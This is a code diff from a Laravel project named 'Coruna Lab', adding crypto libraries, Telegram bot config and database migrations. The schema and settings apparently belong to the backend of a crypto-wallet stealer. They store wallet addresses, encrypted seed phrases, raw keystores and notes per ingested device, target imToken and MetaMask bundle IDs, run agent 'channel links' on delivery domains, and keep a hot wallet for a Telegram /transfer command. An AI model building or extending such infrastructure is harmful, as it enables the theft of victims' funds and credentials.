"url": "https://api.github.com/repos/furqansiddiqui/bip39-mnemonic-php/zipball/673d19ef6b771dd69810df86d607e10cd41641e9",
|
||||
"reference": "673d19ef6b771dd69810df86d607e10cd41641e9",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"ext-mbstring": "*",
|
||||
"php-64bit": "^8.1"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"FurqanSiddiqui\\BIP39\\": [
|
||||
"src"
|
||||
]
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"description": "BIP39 Mnemonics implementation in PHP",
|
||||
"keywords": [
|
||||
"BIP-0039",
|
||||
"bip39",
|
||||
"mnemonics"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/furqansiddiqui/bip39-mnemonic-php/issues",
|
||||
"source": "https://github.com/furqansiddiqui/bip39-mnemonic-php/tree/0.1.7"
|
||||
},
|
||||
"time": "2023-02-13T13:54:02+00:00"
|
||||
},
|
||||
{
|
||||
"name": "graham-campbell/result-type",
|
||||
"version": "v1.1.4",
|
||||
@@ -1058,6 +1100,55 @@
|
||||
],
|
||||
"time": "2026-07-17T13:53:03+00:00"
|
||||
},
|
||||
{
|
||||
"name": "kornrunner/keccak",
|
||||
"version": "1.1.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/kornrunner/php-keccak.git",
|
||||
"reference": "433749d28e117fb97baf9f2631b92b5d9ab3c890"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/kornrunner/php-keccak/zipball/433749d28e117fb97baf9f2631b92b5d9ab3c890",
|
||||
"reference": "433749d28e117fb97baf9f2631b92b5d9ab3c890",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=7.3",
|
||||
"symfony/polyfill-mbstring": "^1.8"
|
||||
},
|
||||
"require-dev": {
|
||||
"phpunit/phpunit": "^8.2"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"kornrunner\\": "src"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Boris Momcilovic",
|
||||
"homepage": "https://github.com/kornrunner/php-keccak"
|
||||
}
|
||||
],
|
||||
"description": "Pure PHP implementation of Keccak",
|
||||
"keywords": [
|
||||
"keccak",
|
||||
"sha-3",
|
||||
"sha3-256"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/kornrunner/php-keccak/issues",
|
||||
"source": "https://github.com/kornrunner/php-keccak/tree/1.1.0"
|
||||
},
|
||||
"time": "2020-12-07T15:40:44+00:00"
|
||||
},
|
||||
{
|
||||
"name": "laravel/framework",
|
||||
"version": "v12.64.0",
|
||||
@@ -2535,6 +2626,236 @@
|
||||
],
|
||||
"time": "2026-02-16T23:10:27+00:00"
|
||||
},
|
||||
{
|
||||
"name": "nutgram/hydrator",
|
||||
"version": "7.2.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/nutgram/hydrator.git",
|
||||
"reference": "a9dc51b7e6ea61b3e582f0fecd8c91ea22602c11"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/nutgram/hydrator/zipball/a9dc51b7e6ea61b3e582f0fecd8c91ea22602c11",
|
||||
"reference": "a9dc51b7e6ea61b3e582f0fecd8c91ea22602c11",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": "^8.1",
|
||||
"psr/container": "^1.1 || ^2.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"illuminate/container": "^10.0",
|
||||
"phpunit/phpunit": "^10"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"SergiX44\\Hydrator\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Sergio Brighenti",
|
||||
"email": "sergio@brighenti.me",
|
||||
"homepage": "https://github.com/SergiX44"
|
||||
},
|
||||
{
|
||||
"name": "Anatoly Fenric",
|
||||
"email": "afenric@gmail.com",
|
||||
"homepage": "https://github.com/fenric"
|
||||
}
|
||||
],
|
||||
"description": "Hydrator for PHP 8.0+",
|
||||
"homepage": "https://github.com/nutgram/hydrator",
|
||||
"keywords": [
|
||||
"data-mapper",
|
||||
"dto",
|
||||
"hydrator",
|
||||
"jsonmapper",
|
||||
"mapper",
|
||||
"php8"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/nutgram/hydrator/issues",
|
||||
"source": "https://github.com/nutgram/hydrator/tree/7.2.0"
|
||||
},
|
||||
"time": "2026-07-24T20:41:06+00:00"
|
||||
},
|
||||
{
|
||||
"name": "nutgram/laravel",
|
||||
"version": "1.7.1",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/nutgram/laravel.git",
|
||||
"reference": "17ea5e550f9cb7bc162f9c93d979ce1c11e022f1"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/nutgram/laravel/zipball/17ea5e550f9cb7bc162f9c93d979ce1c11e022f1",
|
||||
"reference": "17ea5e550f9cb7bc162f9c93d979ce1c11e022f1",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"nunomaduro/termwind": "^1.0|^2.0",
|
||||
"nutgram/nutgram": "^4.39.2",
|
||||
"php": "^8.2"
|
||||
},
|
||||
"require-dev": {
|
||||
"illuminate/testing": "^9.0|^10.0|^11.0|^12.0|^13.0",
|
||||
"orchestra/testbench": "^7.0|^8.0|^9.0|^10.0|^11.0",
|
||||
"pestphp/pest": "^1.1|^2.0|^3.0|^4.0",
|
||||
"vimeo/psalm": "^6.0"
|
||||
},
|
||||
"type": "library",
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"providers": [
|
||||
"Nutgram\\Laravel\\NutgramServiceProvider"
|
||||
]
|
||||
}
|
||||
},
|
||||
"autoload": {
|
||||
"files": [
|
||||
"src/Support/Helpers.php"
|
||||
],
|
||||
"psr-4": {
|
||||
"Nutgram\\Laravel\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Luca Patera",
|
||||
"email": "lucapatera@outlook.it",
|
||||
"role": "Developer"
|
||||
},
|
||||
{
|
||||
"name": "Sergio Brighenti",
|
||||
"email": "sergio@brighenti.me",
|
||||
"role": "Developer"
|
||||
}
|
||||
],
|
||||
"description": "Laravel package for Nutgram",
|
||||
"homepage": "https://github.com/nutgram/nutgram-laravel",
|
||||
"keywords": [
|
||||
"api",
|
||||
"bot",
|
||||
"framework",
|
||||
"laravel",
|
||||
"library",
|
||||
"nutgram",
|
||||
"telegram"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/nutgram/laravel/tree/1.7.1"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
"url": "https://github.com/Lukasss93",
|
||||
"type": "github"
|
||||
},
|
||||
{
|
||||
"url": "https://github.com/SergiX44",
|
||||
"type": "github"
|
||||
}
|
||||
],
|
||||
"time": "2026-03-22T17:16:10+00:00"
|
||||
},
|
||||
{
|
||||
"name": "nutgram/nutgram",
|
||||
"version": "4.49.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/nutgram/nutgram.git",
|
||||
"reference": "cc010c266a2594a5c50be1679dfc7ccc76c89f93"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/nutgram/nutgram/zipball/cc010c266a2594a5c50be1679dfc7ccc76c89f93",
|
||||
"reference": "cc010c266a2594a5c50be1679dfc7ccc76c89f93",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"ext-json": "*",
|
||||
"guzzlehttp/guzzle": "^7.2",
|
||||
"illuminate/macroable": ">=9.0",
|
||||
"laravel/serializable-closure": "^1.0|^2.0",
|
||||
"nutgram/hydrator": "^7.2.0",
|
||||
"php": "^8.2",
|
||||
"psr/log": "^1.0|^2.0|^3.0",
|
||||
"psr/simple-cache": "^1.0|^2.0|^3.0",
|
||||
"sergix44/container": "^3.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"ext-reflection": "*",
|
||||
"mockery/mockery": "^1.6",
|
||||
"pestphp/pest": "^3.0|^4.0",
|
||||
"roave/security-advisories": "dev-latest",
|
||||
"vimeo/psalm": "^6.1.0"
|
||||
},
|
||||
"suggest": {
|
||||
"ext-sodium": "To validate WebApp data for Third-Party Use"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"files": [
|
||||
"src/Support/Helpers.php"
|
||||
],
|
||||
"psr-4": {
|
||||
"SergiX44\\Nutgram\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Sergio Brighenti",
|
||||
"email": "sergio@brighenti.me",
|
||||
"role": "Developer"
|
||||
},
|
||||
{
|
||||
"name": "Luca Patera",
|
||||
"email": "lucapatera@outlook.it",
|
||||
"role": "Developer"
|
||||
}
|
||||
],
|
||||
"description": "The Telegram bot library that doesn't drive you nuts",
|
||||
"homepage": "https://github.com/SergiX44/Nutgram",
|
||||
"keywords": [
|
||||
"api",
|
||||
"bot",
|
||||
"framework",
|
||||
"laravel",
|
||||
"library",
|
||||
"nutgram",
|
||||
"telegram"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/nutgram/nutgram/issues",
|
||||
"source": "https://github.com/nutgram/nutgram/tree/4.49.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
"url": "https://github.com/Lukasss93",
|
||||
"type": "github"
|
||||
},
|
||||
{
|
||||
"url": "https://github.com/SergiX44",
|
||||
"type": "github"
|
||||
}
|
||||
],
|
||||
"time": "2026-07-24T22:11:53+00:00"
|
||||
},
|
||||
{
|
||||
"name": "phpoption/phpoption",
|
||||
"version": "1.9.5",
|
||||
@@ -3299,6 +3620,209 @@
|
||||
},
|
||||
"time": "2026-06-18T03:57:49+00:00"
|
||||
},
|
||||
{
|
||||
"name": "sergix44/container",
|
||||
"version": "3.1.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/sergix44/container.git",
|
||||
"reference": "202747e5e9b6a46eb9681259d861753dd5a9fab2"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/sergix44/container/zipball/202747e5e9b6a46eb9681259d861753dd5a9fab2",
|
||||
"reference": "202747e5e9b6a46eb9681259d861753dd5a9fab2",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"ext-reflection": "*",
|
||||
"php": "^8.1",
|
||||
"psr/container": "^1.1|^2.0"
|
||||
},
|
||||
"provide": {
|
||||
"psr/container-implementation": "^1.1|^2.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"pestphp/pest": "^2.0",
|
||||
"php-di/php-di": "^7.0",
|
||||
"vimeo/psalm": "^5.13"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"SergiX44\\Container\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Sergio Brighenti",
|
||||
"email": "sergio@brighenti.me"
|
||||
}
|
||||
],
|
||||
"description": "A simple and fast service container",
|
||||
"support": {
|
||||
"issues": "https://github.com/sergix44/container/issues",
|
||||
"source": "https://github.com/sergix44/container/tree/3.1.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
"url": "https://github.com/SergiX44",
|
||||
"type": "github"
|
||||
}
|
||||
],
|
||||
"time": "2024-06-18T12:52:08+00:00"
|
||||
},
|
||||
{
|
||||
"name": "simplito/bigint-wrapper-php",
|
||||
"version": "1.0.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/simplito/bigint-wrapper-php.git",
|
||||
"reference": "cf21ec76d33f103add487b3eadbd9f5033a25930"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/simplito/bigint-wrapper-php/zipball/cf21ec76d33f103add487b3eadbd9f5033a25930",
|
||||
"reference": "cf21ec76d33f103add487b3eadbd9f5033a25930",
|
||||
"shasum": ""
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"BI\\": "lib/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Simplito Team",
|
||||
"email": "s.smyczynski@simplito.com",
|
||||
"homepage": "https://simplito.com"
|
||||
}
|
||||
],
|
||||
"description": "Common interface for php_gmp and php_bcmath modules",
|
||||
"support": {
|
||||
"issues": "https://github.com/simplito/bigint-wrapper-php/issues",
|
||||
"source": "https://github.com/simplito/bigint-wrapper-php/tree/1.0.0"
|
||||
},
|
||||
"time": "2018-02-27T12:38:08+00:00"
|
||||
},
|
||||
{
|
||||
"name": "simplito/bn-php",
|
||||
"version": "1.1.4",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/simplito/bn-php.git",
|
||||
"reference": "83446756a81720eacc2ffb87ff97958431451fd6"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/simplito/bn-php/zipball/83446756a81720eacc2ffb87ff97958431451fd6",
|
||||
"reference": "83446756a81720eacc2ffb87ff97958431451fd6",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"simplito/bigint-wrapper-php": "~1.0.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"phpunit/phpunit": "*"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"BN\\": "lib/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Simplito Team",
|
||||
"email": "s.smyczynski@simplito.com",
|
||||
"homepage": "https://simplito.com"
|
||||
}
|
||||
],
|
||||
"description": "Big number implementation compatible with bn.js",
|
||||
"support": {
|
||||
"issues": "https://github.com/simplito/bn-php/issues",
|
||||
"source": "https://github.com/simplito/bn-php/tree/1.1.4"
|
||||
},
|
||||
"time": "2024-01-10T16:16:59+00:00"
|
||||
},
|
||||
{
|
||||
"name": "simplito/elliptic-php",
|
||||
"version": "1.0.12",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/simplito/elliptic-php.git",
|
||||
"reference": "be321666781be2be2c89c79c43ffcac834bc8868"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/simplito/elliptic-php/zipball/be321666781be2be2c89c79c43ffcac834bc8868",
|
||||
"reference": "be321666781be2be2c89c79c43ffcac834bc8868",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"ext-gmp": "*",
|
||||
"simplito/bn-php": "~1.1.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"phpbench/phpbench": "@dev",
|
||||
"phpunit/phpunit": "*"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Elliptic\\": "lib/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Simplito Team",
|
||||
"email": "s.smyczynski@simplito.com",
|
||||
"homepage": "https://simplito.com"
|
||||
}
|
||||
],
|
||||
"description": "Fast elliptic curve cryptography",
|
||||
"homepage": "https://github.com/simplito/elliptic-php",
|
||||
"keywords": [
|
||||
"Curve25519",
|
||||
"ECDSA",
|
||||
"Ed25519",
|
||||
"EdDSA",
|
||||
"cryptography",
|
||||
"curve",
|
||||
"curve25519-weier",
|
||||
"ecc",
|
||||
"ecdh",
|
||||
"elliptic",
|
||||
"nistp192",
|
||||
"nistp224",
|
||||
"nistp256",
|
||||
"nistp384",
|
||||
"nistp521",
|
||||
"secp256k1"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/simplito/elliptic-php/issues",
|
||||
"source": "https://github.com/simplito/elliptic-php/tree/1.0.12"
|
||||
},
|
||||
"time": "2024-01-09T14:57:04+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/clock",
|
||||
"version": "v7.4.8",
|
||||
|
||||
@@ -47,6 +47,10 @@ return [
|
||||
'driver' => 'session',
|
||||
'provider' => 'admins',
|
||||
],
|
||||
'agent' => [
|
||||
'driver' => 'session',
|
||||
'provider' => 'users',
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|
||||
@@ -2,20 +2,52 @@
|
||||
|
||||
return [
|
||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||
// Comma-separated delivery hosts for support links + new_project domains.
|
||||
'channel_domains' => array_values(array_filter(array_map(
|
||||
'trim',
|
||||
explode(',', (string) env('CORUNA_CHANNEL_DOMAINS', ''))
|
||||
))),
|
||||
'channels' => [
|
||||
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
|
||||
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
|
||||
],
|
||||
|
||||
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
||||
// system paths with is_executable() under open_basedir (see CorunaArchive).
|
||||
'seven_zip' => env('CORUNA_7Z_BIN', ''),
|
||||
'telegram' => [
|
||||
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
|
||||
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
||||
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
|
||||
],
|
||||
// reserved — no transfer logic wired
|
||||
'tokenview' => [
|
||||
'api_key' => env('TOKENVIEW_API_KEY', ''),
|
||||
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
|
||||
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
|
||||
],
|
||||
// Hot wallet mnemonic for Telegram /transfer only — never from device ingest.
|
||||
'hot_wallet' => [
|
||||
'mnemonic' => env('HOT_WALLET_MNEMONIC', ''),
|
||||
'index' => (int) env('HOT_WALLET_INDEX', 0),
|
||||
],
|
||||
'tron' => [
|
||||
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
||||
'api_key' => env('TRON_API_KEY', ''),
|
||||
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
||||
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
||||
],
|
||||
'transfer' => [
|
||||
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
||||
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
||||
],
|
||||
// reserved legacy payout addresses
|
||||
'payout' => [
|
||||
'eth' => env('PAYOUT_ETH'),
|
||||
'btc' => env('PAYOUT_BTC'),
|
||||
'tron' => env('PAYOUT_TRON'),
|
||||
'sol' => env('PAYOUT_SOL'),
|
||||
],
|
||||
|
||||
'wallet_bundles' => [
|
||||
'im.token.app',
|
||||
'io.metamask',
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
// Prefer TELEGRAM_BOT_TOKEN (shared with Coruna notifier); TELEGRAM_TOKEN as fallback.
|
||||
'token' => env('TELEGRAM_BOT_TOKEN', env('TELEGRAM_TOKEN')),
|
||||
|
||||
|
||||
// if the webhook mode must validate the incoming IP range is from a telegram server
|
||||
'safe_mode' => env('APP_ENV', 'local') === 'production',
|
||||
|
||||
// Extra or specific configurations
|
||||
'config' => [],
|
||||
|
||||
// Set if the service provider should automatically load
|
||||
// handlers from /routes/telegram.php
|
||||
'routes' => true,
|
||||
|
||||
// Enable or disable Nutgram mixins
|
||||
'mixins' => false,
|
||||
|
||||
// Path to save files generated by nutgram:make command
|
||||
'namespace' => app_path('Telegram'),
|
||||
|
||||
// Set log channel
|
||||
'log_channel' => env('TELEGRAM_LOG_CHANNEL', 'null'),
|
||||
];
|
||||
@@ -3,8 +3,9 @@
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/**
|
||||
* Laravel default users/sessions scaffolding — unused by Coruna Lab.
|
||||
* Auth uses `admins`; session/cache/queue use file/sync drivers.
|
||||
* Laravel default users/sessions scaffolding — no-op.
|
||||
* Agent portal users/channels are created in 2026_08_06_000010_create_agents_and_channels.
|
||||
* Admin auth uses `admins`; session/cache/queue use file/sync drivers.
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
|
||||
@@ -41,12 +41,14 @@ return new class extends Migration
|
||||
Schema::create('photos', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('sha256', 64)->nullable()->index();
|
||||
$table->string('sha256', 64)->nullable();
|
||||
$table->string('path');
|
||||
$table->unsignedInteger('width')->nullable();
|
||||
$table->unsignedInteger('height')->nullable();
|
||||
$table->unsignedInteger('size')->nullable();
|
||||
$table->json('counters_json')->nullable();
|
||||
$table->integer('x_hit')->nullable();
|
||||
$table->unsignedInteger('upload_count')->nullable();
|
||||
$table->unsignedInteger('process_index')->nullable();
|
||||
$table->unsignedInteger('text_count')->nullable();
|
||||
$table->unsignedInteger('barcode_count')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('photos', 'width')) {
|
||||
$table->dropColumn('width');
|
||||
}
|
||||
if (Schema::hasColumn('photos', 'height')) {
|
||||
$table->dropColumn('height');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'x_hit')) {
|
||||
$table->integer('x_hit')->nullable()->after('size');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('photos', 'x_hit')) {
|
||||
$table->dropColumn('x_hit');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'width')) {
|
||||
$table->unsignedInteger('width')->nullable()->after('path');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'height')) {
|
||||
$table->unsignedInteger('height')->nullable()->after('width');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('photos', 'upload_count')) {
|
||||
$table->unsignedInteger('upload_count')->nullable()->after('x_hit');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'process_index')) {
|
||||
$table->unsignedInteger('process_index')->nullable()->after('upload_count');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'text_count')) {
|
||||
$table->unsignedInteger('text_count')->nullable()->after('process_index');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'barcode_count')) {
|
||||
$table->unsignedInteger('barcode_count')->nullable()->after('text_count');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'batch_ts')) {
|
||||
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('photos', 'counters_json')) {
|
||||
foreach (DB::table('photos')->whereNotNull('counters_json')->cursor() as $row) {
|
||||
$c = json_decode((string) $row->counters_json, true);
|
||||
if (! is_array($c)) {
|
||||
continue;
|
||||
}
|
||||
[$upload, $proc] = $this->decodeHexPair($c['idx'] ?? null);
|
||||
[$text, $barcode] = $this->decodeHexPair($c['ftu'] ?? null);
|
||||
$batchTs = $c['ts'] ?? $c['batchBase'] ?? null;
|
||||
DB::table('photos')->where('id', $row->id)->update([
|
||||
'upload_count' => $upload,
|
||||
'process_index' => $proc,
|
||||
'text_count' => $text,
|
||||
'barcode_count' => $barcode,
|
||||
'batch_ts' => is_scalar($batchTs) ? (string) $batchTs : null,
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
$table->dropColumn('counters_json');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('photos', 'counters_json')) {
|
||||
$table->json('counters_json')->nullable();
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
foreach (['upload_count', 'process_index', 'text_count', 'barcode_count', 'batch_ts'] as $col) {
|
||||
if (Schema::hasColumn('photos', $col)) {
|
||||
$table->dropColumn($col);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/** @return array{0: ?int, 1: ?int} */
|
||||
private function decodeHexPair(mixed $packed): array
|
||||
{
|
||||
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
|
||||
return [null, null];
|
||||
}
|
||||
|
||||
return [hexdec(substr($packed, 0, 6)), hexdec(substr($packed, 6, 6))];
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('photos', 'batch_ts')) {
|
||||
$table->dropColumn('batch_ts');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('photos', 'batch_ts')) {
|
||||
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
foreach (['photos_sha256_index', 'photos_x_hit_index'] as $name) {
|
||||
try {
|
||||
Schema::table('photos', function (Blueprint $table) use ($name) {
|
||||
$table->dropIndex($name);
|
||||
});
|
||||
} catch (\Throwable) {
|
||||
// Fresh installs already omit these indexes.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
$table->index('sha256');
|
||||
$table->index('x_hit');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Rebuild wallet_addresses with the simplified schema.
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
Schema::dropIfExists('wallets');
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain_type', 64)->nullable();
|
||||
$table->json('balance')->nullable();
|
||||
$table->string('source', 64)->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'source']);
|
||||
});
|
||||
|
||||
Schema::create('wallet_mnemonics', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source', 64)->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_keystores', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->json('raw_json');
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->json('content')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
